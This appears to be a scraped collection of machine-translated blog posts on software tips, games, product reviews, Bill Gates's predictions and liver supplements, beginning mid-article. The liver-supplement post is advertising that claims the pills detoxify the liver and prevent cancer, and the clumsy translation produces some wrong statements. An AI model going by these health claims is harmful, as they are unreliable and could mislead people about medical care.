in red , so that the user knows which part is wrong and the wrong number is. The picture will be misspelled and misspelled.\nYou look to the right of the wrong word will be tiles in red and show the correct word, correct in blue .\n  Step 4: If we click on the arrow will know more about the wrong word. Here, you can correct the mistake by clicking on the blue word .\n  Immediately the correct word will be replaced in the sentence. If you want to return to the previous one, press Undo .\n  Step 5: We continue to check the effectiveness of Grammarly with the example in the image below. Grammarly detected a grammatical error, with a grammatical error. The right grammar will be a \"teacher\".\n  You click on the drop-down arrow to learn more about the correct usage of the \"an\" article that has been misused, as well as when to use the \"a\" article.\n  Above is how to install and use the Grammarly English test tool in Word. Not simply helps users know what errors and mistakes are made, but this tool also helps you understand more about the correct use of the wrong word. However, when using Grammarly, Word's spell check feature will be disabled. During the content import process, you cannot use the auto-save and undo feature. Therefore, remember to save the content as soon as it is finished to avoid losing text.\nRefer to the following articles: Great tips for Word 2010's text test tool Create a quick dot (……………) line in Microsoft Word 8 tips or handling columns in Microsoft Word I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWabmJqwrLXNoGSeppehtrS0jKilZq%2Bfp7FurthmnquZnaKus7jY\n","link":"/post/instructions-for-checking-english-on-word-by-grammarly/","section":"post","tags":null,"title":"Instructions for checking English on Word by Grammarly"},{"body":"PUBG Mobile is a game on the phone, but players can play on PC with various Android emulators like BlueStacks, NoxPlayer, KOPlayer, MEmu . and especially Tencent Gaming Buddy. Tencent's emulator was developed exclusively for PUBG Mobile so if you install and play PUBG Mobile on Tencent Gaming Buddy, this is the most optimized version to play PUBG Mobile on your computer.\nControlling PUBG Mobile with Tencent emulator is easy, gamers just need to use the mouse and keyboard to control the character like other shooters. As for PUBG Mobile playing on the phone, players will also have support settings for controlling characters.\nOne of the options to help players is Gyroscope , also known as gyroscope. This adjustment will help players on the phone to control when aiming more quickly and flexibly. But it will take time to get used to the default of the player still controlling the character with the icons on the screen, if you don't know how to turn on the PUBG Mobile gyroscope, check out the article below.\nHow to download and install PUBG Mobile VNG on Tencent Gaming Buddy Instructions for renaming characters in PUBG Mobile PUBG Mobile: The best way to arrange backpacks to win TOP 1 How to enter the practice mode PUBG Mobile PUBG Mobile: How to choose the right accessories for each gun Instructions for turning on gyroscope PUBG Mobile Download PUBG Mobile for PC Download PUBG Mobile for iOS Download PUBG Mobile for Android Step 1: In the main interface, select the Settings icon.\n  Step 2: By default the game will take you to Basic, this section will contain a lot of options to control the characters in the game. Scroll down and you will see the Gyroscope section, there are two options to use the gyroscope: Scope On (viewfinder only) and Always on (always on) .\nWith Scope On , the gyroscope option will only turn on when you use Scope. As for Always on, the gyroscope always turns on in both first and third view modes.\n  To adjust the rotation speed of Gyroscope mode, you can select the Sensitivity item below. When you access the Sensitivity menu, please scroll down and adjust the speed of using Gyroscope for each Scope or different viewing angle.\n  After you've adjusted it, go to the game, get a Scope and watch Aim Down Sight , then tilt your phone and you'll see Gyroscope working. Now you won't need to use the rotation icon on the screen anymore.\nAs mentioned above, using the Gyroscope option will take a bit of time to get used to initially, but if you've used it well, you'll find this option very flexible when looking at ADS . Hopefully, the above procedure PUBG Mobile will help you in shooting PUBG Mobile.\nSee more:\nTop best iOS emulators help run applications on Windows How to install NoxPlayer to play Android games on computers Instructions for setting up virtual keyboard to play all kinds of games on NoxPlayer Complete how to install Cheat Engine and use Cheat Engine when playing games ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWaspae7qrrGZqanZZeuv7C%2FwqinnmWdpLGmec%2BumaBlnaSvqrjE\n","link":"/post/instructions-for-turning-on-gyroscope-mode-pubg-mobile/","section":"post","tags":null,"title":"Instructions for turning on gyroscope mode PUBG Mobile"},{"body":"In this beginner's guide, discover helpful tips to make playing Spider-Man: Miles Morales easier by developer Insomniac.\nSpider-Man: Miles Morales tips for beginners Venom skill is the best Miles doesn't have nearly as many skills as Peter Parker, nor does he have the superpower that always charges. Instead, Miles has his own toolkit. The first and most powerful of these are Miles' Venom 's attacks (not to be confused with the Eddie Brock-possessed Symbiote).\nIn Spider-Man: Miles Morales, the player activates Venom's attacks by holding L1 and pressing a face button . This will help gamers will end up with a pile of Venom energy. But players don't want to use that Venom energy, because this ability is extremely useful.\n  Venom Smash is one of the first things gamers receive and it allows to deal a lot of damage, stunning all surrounding enemies.\nThe Venom Jump skill , which allows to throw all the surrounding enemies into the air, is an amazing skill when it comes to aerial combat and juggling. Every Venom skill is extremely useful and has a lot of use cases.\nCombat is significantly harder without using the Venom ability, so be sure to use that energy when it shows up.\nTrain Spider as soon as possible for skills Early in the story, Peter Parker will ask the player to take some holographic training. After completing the related story quest, the player will unlock more Spider-Training programs throughout the map. Make these a priority.\n  These quests serve as good guides to Miles' skills, but they also unlock exclusive abilities on first completion. These include useful tools like Payback , which allows to instantly cast Takedown on an enemy if the player completes dodging their ranged attack Perfect Dodge . To get that, all gamers need to do is complete the Combat Challenge 2.0 training course with an Amazing rating (bronze).\n  Players can repeat these challenges again for more Activity Tokens - Spider-Man: Miles Morales' currency to buy new Spider-Man suits and upgrades. However, players should not spend too much time trying to maximize their rank until they have leveled up and received certain upgrades. That makes it much easier to get higher ratings.\nSpider-Man ncG1vNJzZmismaXArq3KnmWcp51kwLG1w56pppmeYrqquMSsZKanopa5pr%2BMraCpq12bvLN5wZ6eoqaemr%2B0\n","link":"/post/miles-morales-tips-for-beginners/","section":"post","tags":null,"title":"Miles Morales tips for beginners"},{"body":"  MHI ZSX air conditioner brings many advanced features\nInheriting the most advanced technologies, the MHI ZSX series of air conditioners offer many outstanding advantages, both luxurious and sophisticated design with Japanese style, as well as features to optimize performance and Efficient use, saving energy consumption. The product can be combined with a multi-connected outdoor unit, effectively used for modern apartments that need maximum space savings, space for other utilities.\nThe most special feature of this ZSX product line is that Mitsubishi Heavy Industries uses R32 gas - belonging to the new generation HFC refrigerant, which provides efficient, environmentally friendly cooling and low emissions.\nLet's take a look at a series of utility and user-friendly features of Mitsubishi Heavy Industries ZSX series air conditioners:\n# 1 / Advanced 3-D (3D Auto) technology with fast cooling with only 1 push button and 3 flaps (1 longitudinal flap and 02 transverse flaps) controlled by separate motors with intelligent algorithms pre-programmed on board, creating 3 independent controlled airflow, distributing flexible and natural throughout the room.\n# 2 / Motion sensor technology: Helps detect human activity and automatically controls the room temperature that best suits the activity.\n# 3 / Allergen filter: keep pollen, dust particles and other allergens on animals like cat hair . and neutralize them.\n# 4 / Turn off the computer during the week: Up to 4 programs operate timer on / off for each day of the week. Up to 28 programs can be installed for a week.\n# 5: Preset operation: The desired preset operation mode can be started by a single button.\n# 6 / Auto start function: In the event of a sudden power down, the device will automatically reactivate when there is power and operate in the mode before the power was turned off.\n# 7: Automatic error notification function: In the event of a machine malfunction, the microprocessor will automatically diagnose and report an error.\nAbout Mitsubishi Heavy Industries Vietnam\nMitsubishi Heavy Industries Group (MHI) is one of the leading heavy industry groups in the world with more than 20 years of operation in Vietnam market. In addition to providing integrated solutions in urban and infrastructure development, energy and utilities, as well as transportation and logistics, MHI Vietnam also actively invests and develops local human resources. through domestic scholarship and student exchange programs.\nIn 2020, goalkeeper Dang Van Lam officially became the brand ambassador of Mitsubishi Heavy Industries in Vietnam. With the message \"Strong - Durable - Reliable\", the choice of Dang Van Lam is the clearest affirmation for the core values ​​and goals brought by Mitsubishi Heavy Industries, becoming a prestigious brand in Vietnam. Male.\n ncG1vNJzZmismaXArq3KnmWcp51kuqrA0q6ZoquYnnqpscCvsGahnpnCtMDRopysZaqoxW66xLBkoJ2emr%2BiwMiopWaZmad6pLvNnaCtoZ%2BjsrM%3D\n","link":"/post/mitsubishi-heavy-industries-zsx-new-generation-air-conditioner/","section":"post","tags":null,"title":"Mitsubishi Heavy Industries ZSX - New generation 'air conditioner'"},{"body":"If the specifications and aesthetics of the G915 TKL appeal to you, you won't be disappointed when you spend a large amount of money to own this keyboard.\nWithout a doubt, the Logitech G915 TKL is a premium mechanical keyboard. It looks very stylish, with a compact design and eye-catching RGB lighting. The Logitech G915 TKL is a wireless keyboard, with the right weight for portability and good battery life. It also has nifty extras like a media key and the ability to connect to multiple devices.\nAll of that makes for a good keyboard, but it makes no sense if the typing experience is too bad. Luckily, the Logitech G915 TKL offers a good typing experience with tactile keys that provide a force response that's not too great but enough to make users happy.\nHowever, the Logitech G915 TKL costs up to $ 230. So is it really worth spending that much money on a keyboard?\u0026nbsp;\nmain function Tenkeyless keyboard, muscle Tactile switch Wireless  Technical specifications Brand: Logitech Wireless: Lightspeed / Bluetooth technology Backlight: RGB Media controls: Yes Battery: 40 hours (100% brightness), 1,080 hours (0% brightness) NumPad: No. Switch type: tactile Replaceable Keys: Yes Advantages and disadvantages of the Logitech G915 TKL Advantages\nSmooth typing experience, making users happy Quiet operation, as it is a mechanical keyboard Nice design Vivid and customizable RGB lighting Battery life is good, especially with RGB off Easily switch between two devices Defect\nVery expensive Only function keys can be programmed for macros Good typing experience The Logitech G915 TKL comes in different key switch models, but you should choose a tactile switch. It is quieter and doesn't require full press to receive the key.\nThe tactile switches used here have an actuation distance of 1.5 mm, an actuation force of 50g, and a total travel distance of 2.7 mm.\n Although it is a small keyboard, it does not feel cramped. You can type quickly using this keyboard. Each key press feels responsive and pleasant; Thanks in part to the smooth feel and slight curve of the keys.\nAs a mechanical keyboard, often known for its noise, the G915 TKL is relatively quiet when typing. You won't even notice when the keyboard goes to sleep, the green battery indicator shows up briefly, as it wakes up and responds immediately when you press a key.\nTo put it simply, typing on this keyboard is satisfying. It's not only very responsive, but also physically enjoyable, thanks to the superior responsiveness of tactile switches.\nReasonable battery life This is a wireless keyboard, which means battery life is crucial. You don't want the keyboard to run out of battery while gaming, do you?\nIf you enable RGB at maximum brightness, the Logitech G915 TKL will last for about 40 hours. You can lower the brightness to extend battery life or turn off RGB completely.\n You can save battery life in G Hub, where you can set inactive lighting settings, such as dimming after 1 minute. You can also select various low battery warnings when the battery life drops below 15%, such as the red keys.\nWithout the lights, the keyboard battery will last for about 1,080 hours (equivalent to 8 hours / day usage for 135 days), which makes much more sense. Losing RGB is a pity, but you can consider it worthwhile to benefit from much more superior battery life.\nThis keyboard is capable of fast charging, from 0% to full in less than 3 hours.\nIs the Logitech G915 TKL worth that hefty price tag? Without a doubt, the Logitech G915 TKL is a great keyboard. It's very responsive, has all the features you want from a keyboard, and looks great with an impressive look.\nAt $ 230, this is probably a keyboard worth considering. However, if you take the customizable keys and macros seriously, the G915 TKL will disappoint you, given Logitech's incomplete G Hub software. Likewise, if wrist pads are important to you, this might not be the right choice. Besides, there are many cheaper alternatives that will give you just that.\nBut if the specs and aesthetics of the G915 TKL appeal to you and you're willing to cash out, you won't be disappointed. This is a great keyboard!\nncG1vNJzZmismaXArq3KnmWcp51kubCzyK2cnKBdnIZygYytoqVlm5rGo7vAq5tmqpWrtqbDjKqsmqSZqcZurtStZJplkp7BbrTIoJ8%3D\n","link":"/post/quality-but-a-bit-high/","section":"post","tags":null,"title":"Quality but a bit high"},{"body":"Windows 10 is a great platform to run SharePoint. The Fall Creator update for Windows 10 includes a new sync function for SharePoint called Files on Demand .\nInternet Explorer 11 and Microsoft Edge Depending on what is being done in SharePoint, you may want to switch between Microsoft Edge and Internet Explorer 11.\nMicrosoft Edge browser The default Internet browser in Windows 10 is Microsoft Edge. When you open a SharePoint site, it opens in Microsoft Edge and works well when viewing web pages, most applications, and many other components. This is especially good for uploading files, because you can upload multiple files and folders to a document library, by dragging and dropping or using the upload button.\nHowever, Microsoft Edge does not support opening document libraries with Open with File Explorer . In SharePoint 2016 and SharePoint 2013, as well as the Classic experience in SharePoint Online, the ribbon button will be gray in Microsoft Edge. In SharePoint Online, the View in File Explorer option will disappear from the Views menu .\nNote : Microsoft Edge browser is designed for periodic updates. With the Anniversary Update for Windows 10, Microsoft Edge, file and folder drag and drop feature has been added. Make sure you have the latest version as features may change or be added.\n    Internet Explorer 11 Internet Explorer 11 also comes with Windows 10, but you must manually launch it. Internet Explorer works well for most tasks in SharePoint, including opening a document library with Open with Explorer . Internet Explorer 11 allows you to upload files by dragging and dropping or using the upload button, although you cannot upload to folders. You can solve this problem by using Open with Explorer or syncing the document library with the computer. Either way, you use File Explorer on your computer to copy or move files and folders.\nNote:\nIf you are using File Explorer with Internet Explorer 11 or Microsoft Edge in the SharePoint Classic experience, you also need to ensure that you have the following fully qualified domains (FQDN), in the trusted website directory:\n.sharepoint.com -my.sharepoint.com -files.sharepoint.com -myfiles.sharepoint.com Where is your company's SharePoint name. For example, if you access SharePoint via contoso.sharepoint.com , replace it with Contoso . Your URLs will look like contoso.sharepoint.com or contoso-my.sharepoint.com, etc.\nOpen Internet Explorer 11 or Microsoft Edge in Windows 10 You can easily open Internet Explorer 11 or Microsoft Edge from the Start menu in Windows 10. Here's how:\nInternet Explorer 1. Click Start.\n2. Enter Internet Explorer , then select Internet Explorer .\n3. When the browser is open, you can open SharePoint.\nIf Microsoft Edge is the default browser, your session will stay in Internet Explorer 11 until you open a page from a link. The new link opens in the default browser, Microsoft Edge.\nMicrosoft Edge 1. Click Start.\n2. Enter Edge and then select Microsoft Edge .\n3. When the browser is open, you can open SharePoint.\nSwitch default browser in Windows 10 If you want to work with Internet Explorer 11 or want to switch your default browser periodically, follow these steps:\n1. In Windows 10, click the Start button , type Default Programs , then click Default Programs .\n  2. In Web Browser , click Microsoft Edge , then select Internet Explorer in the Choose an app dialog box . If you are switching from Internet Explorer to Microsoft Edge, click Internet Explorer in Web Browser , then select Microsoft Edge .\n  3. Close the Choose default apps dialog box.\nFor other ways, please refer to the article: 3 ways to change the default browser in Windows 10.\nAdd both browsers to the Windows 10 taskbar Both of these Windows 10 browsers offer their own advantages and having both in hand will be very handy. Follow these steps to place both Microsoft Edge and Internet Explorer 11 on the Taskbar at the bottom of the screen.\n  1. Click Start.\n2. Enter Internet Explorer, right-click Internet Explorer, then select Pin to Taskbar .\n3. Enter Edge, right-click Microsoft Edge, and then select Pin to Taskbar .\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51kwrSxjKyfmqqVpbyqutNmoKdlp567pbvWrGRqaA%3D%3D\n","link":"/post/use-sharepoint-in-windows-10/","section":"post","tags":null,"title":"Use SharePoint in Windows 10"},{"body":"In 1999, Bill Gates wrote a book entitled \"Business @ the Speed ​​of Thought\". In this book, Gates offers 15 bold predictions.\nBill Gates has been 20 years ahead of Steve Jobs on the software platform   At that time, Gates' predictions sounded quite odd. However, now when looking back at Gates' predictions we see that these are extremely accurate prophecies, below are those 15 predictions and the current reality:\n1. Price comparison websites   Gates predicts (G): \" Automated price comparison services will be developed, allowing people to see the price of products on multiple websites and easily find the cheapest product \".\nWhat we see now (N): You can now search and compare different prices of the same product on Google or Amazon easily. Websites like NexTag and PriceGrabber are also built for price comparison purposes.\n2. Mobile device   G: \" People will bring small devices to help them keep in regular contact and do e-commerce anywhere. They can also check the news, see the flight information they have booked. , get information from the financial market and see anything on these devices \".\nN: Smartphone and recently smartwatch can do everything Gates predicted.\n3. Online payment and better health care through the website   G: \" People will pay their bills, control their finances and contact doctors via the Internet \".\nN: The Internet cannot impact much on the health industry, but websites like ZocDoc appear to help people find and schedule an appointment with the doctor more conveniently. Currently, you can also borrow money online through websites like Lending Club and make transactions through websites like PayPal and Venmo.\n4. Personal assistant and Internet of Things   G: \" Personal companions will be developed. They will connect and sync all your devices intelligently, whether you are at home or in the office and allow them to exchange data. The device can check your email or notifications and present the information you need.When you go shopping, you can tell it what you need to buy so it creates a list and prompts. It will notify all your devices your travel and shopping plans so they automatically adjust according to what you are doing . \"\nN: Google Now, a smart assistant on mobile devices is being developed in this direction. Meanwhile, smart devices like Nest have the ability to collect data about your daily routine and adjust the indoor temperature accordingly. Beacons will send you coupons based on your shopping habits in the past.\n5. Control your home online   G: \" The continuous video feeds in your home will become popular, they will notify you when someone visits you without a home \".\nN: Dropcam provides indoor surveillance cameras to help us monitor homes more easily. Google acquired the company in 2014 for a price of $ 555 million .\n6. Social network   G: \" Personal web pages for you and your family will become popular, allowing you to chat and plan events \".\nN: Social networking sites like Facebook and Instagram are taking on the roles Gates predicts.\n7. Automatically offers promotions   G: \" The software knows when you book tickets for the trip and uses that information to suggest activities at the destination. It suggests activities, discount areas, coupons and cheap rates for all you want to join \".\nN: Travel sites like Expedia and Kayak offer discount packages based on customers' past shopping data. Advertising on Google and Facebook can provide ads, promotions based on location and user interests.\n8. Live sports discussion websites   G: \" This service allows you to comment on what's going on while watching live sports matches and participating in the winning team prediction competitions .\"\nN: A series of social media websites are providing what Gates predicts and Twitter is the most prominent example. Also, you can comment in real time on sports websites like ESPN.\n9. Smart advertising   G: \" Devices will be able to advertise smartly. They know your shopping habits and will show ads about things you like .\"\nN: Most online advertising services have this feature, advertisers can find potential customers based on click history, personal preferences and shopping habits.\n10. Link to the website while live broadcast   G: \" Television can include links to relevant websites and content to complement what you're watching .\"\nN: Most online sports games on television have ads that link to specific websites.\n11. Discuss online   G: \" People in cities and countries can discuss online via the Internet on issues that affect them like local politics, city planning and safety .\"\nN: Currently most news sites have a comment section so people can discuss directly. Meanwhile, some websites create forums so that users can ask and answer certain questions. Twitter and Facebook have played an important role in the political revolution in Libya, Egypt and Tunisia.\n12. The site focuses on hobbies   G: \"Your interests can impact the online community but your position is not .\"\nN: All news websites and online communities are focused on single topics. Many news sites also go into a certain topic.\n13. Project management software   G: \" The project management function will be posted on the Internet, describing the project and receiving the requests for admission of those who match the requirements of the project \".\nN: Currently, there are a lot of workflow software in businesses. It changes the way companies are recruited, grouped and divided.\n14. Recruitment online   G: \" Similarly, job seekers can find online career opportunities by sharing their interests, needs and professional skills on the web .\"\nN: Sites like LinkedIn allow users to upload resumes and find jobs based on personal interests and needs. Employers can search for candidates based on their professional skills.\n15. Software business community   G: \" Companies can allow other companies to re-contract their work whether it is a construction project, a film production project or an advertising campaign. This is very effective. As big companies can hire other companies to handle jobs they don't encounter often, businesses can look for new customers and corporations don't need a reliable supplier. PBX service \".\nN: Many large software corporations have posted the jobs they need to handle on forums for small software companies or individuals to handle them. Many software businesses are focusing on its social aspects so users can reach out to other businesses and discuss to be able to create bigger projects right in their applications.\nncG1vNJzZmismaXArq3KnmWcp51kw6a%2ByJ%2BwZmllYrSiwMSsZK2dk527sLjOoLBmqKKasaqv06Kmp6s%3D\n","link":"/post/verify-15-gates-technology-predictions/","section":"post","tags":null,"title":"Verify 15 Gates technology predictions"},{"body":"Liver tonichas many types, but the most appreciated are still products from the United States.Sowhat is the bestliver tonic forus to use?Our article will give you the most accurate answer!\nBảng của Contents Why do you need to take liver tonic, liver cooling medicine of America? The most popular American liver tonic currently 1. Functional liver tonic and liver function MegaLiver 122 2. Health protection products Chlorella Solgar (100 tablets)  Why do you need to take liver tonic, liver cooling medicine of America? The liver is like an extremely important toxic waste plant.But also because of facing many types of toxins and chemicals every day, the liver is often 'overloaded' and leads to injuries.These lesions, if not treated promptly, will cause serious complications, such as hepatitis, cirrhosis, liver failure, liver cancer.In addition to the direct effects on the liver, the decline in liver function also leads to many other diseases such as jaundice, yellow eyes, pimples, . So, in addition to a healthy diet, we should use Use additional liver supplements, cool liver medicines to support liver function, reduce pressure on the liver, keep your liver healthy.\nAlthough there are many liver tonic in the market, most consumers appreciate the products of Germany, Japan and especially the US.American liver antidotes are of good quality, bringing about quick results that are affordable, suitable for Vietnamese people's income.\n  Taking American liver tonic contributes to liver health\nThe most popular American liver tonic currently 1. Functional liver tonic and liver function MegaLiver 122 MegaLiver 122is the American liver tonic line produced by Hotchland Nutrition brand.Products are prepared in tablet form, canned, each box 30 tablets.Current price: VND 350,000.\nIngredient\nMegaLiver 122 includes Vitamin A, Vitamin C, Milk Thistle Extract, Artichoke Extract, Turmeric Extract, L - Methionine, Dandelion, N - Acetyl L - Cysteine ​​and Alpha - Lipoic Acid.\nUses\nEnhances the activity of liver cells, helps the liver stay healthy. Improve liver function, help cool liver, detoxify liver. Enhance antioxidants to protect the liver from free radical attacks, thereby preventing liver cancer. Using\nTarget users: For people over 18 with impaired liver function due to hepatitis, fatty liver, cirrhosis;people who drink a lot of alcohol, beer, suffer from food poisoning;People working in toxic, poisonous environments harm the liver, those who are hot in the mouth, heat the mouth. Contraindications: Pregnant or nursing women, diabetics, hypoglycemics.People who are taking other medical treatments should consult their doctor before taking this product. Dosage: Take 1-2 tablets daily, after eating.   Functional liver tonic and liver function MegaLiver 122\n2. Health protection products Chlorella Solgar (100 tablets) American liver antidote Chlorella Solgar is a product of Solgar brand.Reference price: VND 880,000.\nIngredient\nChlorella Powder, Cellulose Plant, Microcrystalline Cellulose and Magnesium Stearate Plant.\nUses\nSupplement chlorophyll for liver Help support anti-aging, hepatotoxicity, thereby protecting the liver, preventing the risk of liver diseases. Enhances resistance, provides more fiber to the body and supports digestion. Using\nTarget users: People over 19 years of age have poor liver function;People who drink alcohol often, use harmful substances to the liver; . Special subjects like pregnant women, patients who are using medicines to treat illnesses should consult their doctor before use. Dosage: Take 1 - 3 times a day, 1 capsule at a time.   Health protection products Chlorella Solgar (100 tablets)\nThese two typesof American liver tonicwith great ingredients and benefits will definitely help you to protect your liver effectively.Visit META.vn for advice and order the best liver tonic.\n\u0026gt;\u0026gt;\u0026gt; More references:What is good for the liver, effective cooling of liver and acne?\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02arsqiVYrynecuirZ6qXam8r7XCZqCsZaSdsm6uxKyr\n","link":"/post/what-type-of-liver-tonic-is-the-best/","section":"post","tags":null,"title":"What type of liver tonic is the best?"},{"body":"Vim is known for being an extremely powerful but difficult to use text editor. If you regularly work on the command line, then you should learn at least some basic functions. Unfortunately, if you don't take the time to learn, even a simple task like escaping Vim can become a difficult task.\nNormal shortcuts cannot help in this case. Today's article will introduce you to 8 methods to exit Vim in Linux.\nDo you know how to exit Vim in Linux? Quickly exit when accidentally launching Vim Stuck in Insert Mode? How to exit without saving How to save the file and exit Other methods to escape Vim Quickly exit when accidentally launching Vim If you're going to run another command, but instead accidentally launch Vim, exit is quite simple. Vim starts in 'Normal mode', which means you don't actually edit the file. Anything you type will be interpreted as a command.\nTo exit Vim, enter the following:\n:q  If the error message ' No write since last change (add! To override) is encountered' (Nothing has been added since the last change (added! To override), then you have accidentally entered text or replaced change the file Please enter the following command:\n:q!    Stuck in Insert Mode? You may have tried to exit Vim by entering a few different letters and accidentally ended up at Insert Mode. This is the mode where you actually type new text into a file. While in this mode, you may not know how to exit. In that case, the first method described in the above section will not work.\nFortunately, the 'key' to exit Insert Mode is very simple. Just press the Escape key . This will bring you back to Normal Mode and allow you to use the instructions above to exit the Vim editor.\nHow to exit without saving You may have started Vim purposefully, started editing a file and now want to change your mind. If you have made changes to the file and do not want to keep them, simply exit Vim without saving.\nThe article mentioned an option to exit without saving above:\n:q!  If you have opened multiple files and want to exit all of them at once without saving, it is also easy. Just type the following:\n:qa!  How to save the file and exit Perhaps you have made changes in a file and want to keep them. Fortunately, doing this is as easy as escaping without saving the changes above. You only need to add w to the following command:\n:wq  If you prefer shorter commands, use the following command to save and exit:\n:x    Other methods to escape Vim There are several other ways to quickly get out of Vim. First, press the Escape key to make sure you're not in Insert Mode anymore.\nHolding Shift and pressing ZZ will help you save changes and exit Vim. Hold Shift and press ZQ to exit without saving changes. As mentioned at the beginning of the article, Vim is a very powerful and worthwhile tool to learn. Even if it seems a bit 'scary' at first, knowing a little bit about this editor can be very helpful. If you are not sure where to start, refer to the article: How to use the Vim editor for more details!\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51khW65xK2fqJyjYsGwecSxoK1lpp66brXNZqOipqWt\n","link":"/post/8-methods-to-exit-vim-in-linux/","section":"post","tags":null,"title":"8 methods to exit Vim in Linux"},{"body":" You should know that there are 10 hidden pages in the Google Chrome browser, so what effect do they have? 6 useful features on Chrome browser users should know There are several settings in the Android operating system that significantly increase the experience on Android devices. The only problem is that they are not turned on by default. Even worse, they are not known to everyone. Fortunately, turning them back on is extremely easy. Here are some hidden Android tweaks that you can activate now to improve your device.\nPlease join us to refer to 9 great hidden features on Android that you may never know in this article !\n  1. Turn on the Home button feature on Chrome browser If you own an Android device, you're probably using Chrome as your browser.Chrome browser is considered one of the best Android browsers available, but there is a way to make it better. The Home button on the Chrome browser moves the address bar to the bottom of the page. With devices growing in the electronic market, allowing the installation of the Home button on the Chrome browser makes it easy and quick to access the URL bar / address.\n1. Open Chrome browser . In the address bar, enter chrome: // flags and press Enter . This will take you to the huge list of all experimental and installed features in Chrome that are not enabled by default. These features are accessible for testing purposes; however, it should be noted that they can make Chrome work in unexpected ways.\n2. When you open \" chrome: // flags \", you will see a Disclaimer warning at the top of the page. We recommend reading through it and if you have limited conditions, please come back before making any changes. That shows that I have used the Home button feature on the Chrome browser for a while and have not encountered any suspicious reactions.\n  3. To activate the Home button on Chrome browser, scroll down until you see \" Chrome Home \". Click on it and select \" Enable \". You will have to restart Chrome twice before the changes take effect.\n2. Quick access to Camera application Many consumers have overlooked the traditional point-and-shoot cameras to support the built-in cameras on their smartphones. Although the camera on a smartphone may not be as good as a professional DSLR, the smartphone camera technology has been significantly improved and much more convenient.\nUnfortunately, no matter how good our smartphone camera is, opening a camera application can be a hassle. The process of opening the camera application can easily lead to the loss of the opportunity to capture a beautiful moment . Fortunately, there is a way to quickly launch your camera, even when the screen is locked.\n  1. Switch to the settings section of the device. Scroll down and touch the option labeled Gestures .\n2. In the Gestures menu, find \" Jump to Camera \" and turn on the option. This will allow you to quickly open the device's camera app just by pressing the power button twice continuously. You can start the camera application this way from any application or even when the screen is locked.\n3. Hide sensitive notifications from the lock screen Notifications that appear on your lock screen can be very helpful. They allow you to quickly prioritize emails, messages, social network interactions and more. However, lock screen notifications can display sensitive information with curious eyes. Whether you guarantee that your parents don't track or worry the boss can see your problematic weekend activities, you can hide the notification content on the lock screen . Your notification content will only be displayed when you unlock your device.\n  There are several different ways to hide notification content on your lock screen, depending on the device you are using.\nFor new Android versions :\n1. Open Settings and click Notifications .\n2. Click All Apps to expand the drop-down menu and find No sensitive content on lock screen ( No sensitive content on the lock screen ).\n3. Clicking it will allow you to select specific applications whose content will be hidden.\nOn older devices:\n1. Open Settings and click on Sound and notification (Sound and notification).\n2. From there, find Lock screen or When device is locked ( When device is locked ).\n4. Stop the App shortcut feature The Android operating system allows users to customize their device interface extensively. Organizing applications and widget widgets can be time-consuming, which is why it can be annoying when a new shortcut feature appears on the device's home screen right after installing the application. use. These shortcuts can damage the aesthetics of the carefully arranged home screen. Fortunately, you can easily stop automatically creating application shortcuts.\n  1. Open Google Play Store .\n2. Swipe from the left side of the screen to open the navigation bar.\n3. Click the alias icon with the Settings tab.\n4. Scroll down to the option labeled Add icon to Home screen (Add an icon to the home screen).\n5. Click on it to deselect.\nThis will prevent shortcuts that are placed on the main screen whenever you install a new application.\n5. Automatically delete photos that have been backed up to Google Photos Google Photos is a great service from Google, automatically backing up photos and videos on your device to the cloud. However, once they are backed up, the files remain on the device. This may be a problem for devices with limited storage space.\nNormally, to free up storage space , users will have to manually select the photos and videos they want to delete. This can be both tedious and time consuming. Fortunately, Android can make this easier by automatically deleting backed up photos and videos with Google Photos .\n  1. Download the Google Photos app (if not already available) and open it.\n2. Go to Settings -\u0026gt; Storage .\n3. From here, click Manage Storage , then turn on Storage Manager (Note: some devices are called \"Smart Storage\").\nThis will automatically delete photos and videos backed up to Google Photos after 90 days.\n6. Improve performance by accelerating animation effects Do you feel your phone is a bit slow, especially when \"jumping\" between applications? There is an easy way to improve that.\n1. First, activate \" Developer Settings \" by moving to Settings -\u0026gt; About Phone and clicking Build Number 7 times. You will see a small notice on your screen saying \" Congratulations, you are now a developer \" ( Congratulations, you are now a developer ).\n2. To improve your Android device's performance, navigate to Settings -\u0026gt; Developer Options options. Scroll down and find Window animation scale , Transition animation scale and Animator duration scale . Set all to 0.5. This accelerates the animation in the window panel, making your phone faster and smoother during basic operations.\n  7. Activate the Instant Apps application There are more than three million apps available on the Google Play store. Unfortunately, not all are great. To try an application, users must download and install the application, which may face data limitations and require patience.\nWouldn't it be great to have some way to try an application? Fortunately, starting with Android 7.0, users can try an application in their browser without having to download or install it.\n  For some reason, this feature is not enabled, but enabling this feature is quite easy.\n1. Open the device's settings and navigate to Google Settings .\n2. Scroll down and turn on the Instant Apps app.\nIf you do not find the Instant Apps option, this feature is not available on your device. You should also note that not all applications are available. Developers need to enable features for their application before it is available.\n8. Reduce eye strain / Battery saving In today's life, the fact that our eyes must be glued to the screen all the time, finding ways to reduce eye strain is a serious concern. Fortunately, there is a way to relieve eye stress related to staring at bright colors on the phone.\n  1. Navigate to \" Settings \" -\u0026gt; Developer Options Options \".\n2. Scroll down until you see \" Simulate Color Space \". When you press this option, a menu will appear.\n3. Touch the \" Monochromacy \" option. All colors on Android devices will now be converted to monochrome. Note that monochrome colors are only displayed on smartphones, so the screenshot above cannot be displayed. In addition to looking easier, your device will save a bit of battery power.\n4. To return to the normal screen, go back to \" Settings -\u0026gt; Options for Developer Options -\u0026gt; Simulate Color Space \". In the menu that appears, simply click the \" Disabled \" button.\n9. Enable the System UI Tuner feature The UI Tuner system is a hidden feature that allows you to customize the experience on your Android device. To turn on the UI Tuner system:\n1. Swipe the screen from the top to the notification bar.\n2. At the notification panel interface, find the small gear icon in the top right corner of the screen. Press and hold it for a few seconds.\n3. Once you keep it long enough, immediately an Android notification will appear on your Android phone screen, turning on System UI Mode on Android successfully.\nThe important thing to note with Android device owners has hidden these features because it is experimental. You will notice that: \" These features may change, break or disappear in future releases \" and \" Proceed With Caution .\" If you don't bother, click \" Got it \" to continue.\n  4. Press the alias icon again to switch to the device's settings. Scroll down to the bottom (below \"Developer Options\" if you have it turned on) until you see the wrench icon labeled \" System UI Tuner \". Drag to and touch it. Here, you can change some issues including setting the 